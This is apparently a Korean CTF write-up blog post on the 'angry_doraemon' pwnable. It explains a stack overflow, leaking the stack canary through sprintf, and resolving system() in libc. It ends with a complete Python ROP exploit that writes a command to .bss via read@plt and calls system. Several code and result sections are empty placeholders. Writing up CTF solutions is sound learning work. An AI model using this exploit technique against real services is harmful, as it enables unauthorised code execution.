반응형

사용한 기법 : memory leak + ROP 


angry_doraemon_c927b1681064f78612ce78f6b93c14d9


문제 자체는 처음 시스템 공부하기 시작할떄쯤 나 가르쳐줫던 애가 당시 대회떄 문제를 풀어서 얼핏 봣던 문제다.


 CTF 공부겸 ,, rop 이해햇는데 memory leak 기법이 이해가 안됫는데 이 문제 덕분에 memory leak이라는게 어느정도 와닿게 되었다.


 □ description

==========================================

OS : Ubuntu 13.10 x86

IP : 58.229.183.18 / TCP 8888


http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9

==========================================


 □ number of solvers : 57

 □ breakthrough by

    1 : More Smoked Leet Chicken (02/23 06:16)

    2 : ppp (02/23 06:22)

    3 : stratumauhuur (02/23 06:28)




RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE

Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   angry_doraemon_c927b1681064f78612ce78f6b93c14d9

root@symnoisy:~/pwn# file angry_doraemon_c927b1681064f78612ce78f6b93c14d9 

angry_doraemon_c927b1681064f78612ce78f6b93c14d9: setuid setgid sticky ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf16e3852cdf494e0376d99e56343aa55830a9d95, stripped


NX와 Canary가 걸려있는 것을 알 수 있다.. 다행이 PIE 는 걸려 있지 않다 

(아직 PIE 우회하는법 연구하고있는데 ... 힘들다)



[leak canary]


read 부분에서 buf가 4byte 인데, 110 byte를 입력받음 으로써 오버플로우가 발생하는 것을 알 수 있다.

하지만, 해당 파일에 카나리(SSP)가 걸려있어서 카나리 부터 알아내야 하는데,

소켓 프로그램이고, 항상 fork()로 실행하기 때문에, canary 값이 고정이다. 

또한, buf 부분과 , canary 부분 사이의 거리가 A (decimal : 10 byte, disatance : int buf ~ int v8) 이므로

buf [10byte]  | canary | 8byte | SFP | RET 

이런식으로 진행이된다. 카나리의 정보는 

v1 = sprintf(s, "You choose '%s'!\n", &buf); 

아래의 함수를 통해 memory leak을 일으켜 값을 불러올 수 있다. 

프로그램을 잘못받아서 실행이 안되나 햇는데.. 알고보니까 프로그램안에서 사용하는 txt 파일들을 따로 만들어 줘야한다 .. 아놔 ;; ;이거몰라서 오늘 하루종일 삽질햇다 

[code]

[result]

메모리릭 때문에 풀엇던 문제인데 우선 목표는 달성했다. 

(카나리값이 계속해서 바뀌는데 왠지모르겟당) 


[프로세스위의 write주소 leak + system 주소 구하기 ]

[source]


[result]


root@symnoisy:~/pwn# ldd angry_doraemon_c927b1681064f78612ce78f6b93c14d9 

linux-gate.so.1 =>  (0xb7758000)

libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb75d6000)

/lib/ld-linux.so.2 (0xb775a000)

[exploit]

[code] // 코드가 길어서 하나에 안들어가서 걍 코드로 첨부함 

from socket import *

from struct import *

import time


s=socket(AF_INET,SOCK_STREAM)

s.connect(('localhost',8888))


read_plt =0x8048620 #read@plt

write_plt=0x80486e0 #write@plt

write_got=0x804b030 #write@got

pppr=0x8048ea6 #objdump -d angrydoraemon

bss=0x804b080 #objudmp -h angrydoraemon


system_addr=0xb7680730 


canary = 0xdbf62b00

cmd ="cat flag>&4\x00"


payload =""

payload +="y"*10

payload +=pack("<L",canary)

payload +="a"*8

payload += pack("<L",read_plt)

payload += pack("<L",4)

payload += pack("<L",bss)

payload += pack("<L",len(cmd))


payload += pack("<L",system_addr)

payload += pack("<L",0xdeadbeef)

payload += pack("<L",bss)

print "[+]Hacked by symnoisy!"

s.send(payload)

s.send(cmd)

print s.recv(1024)


반응형
,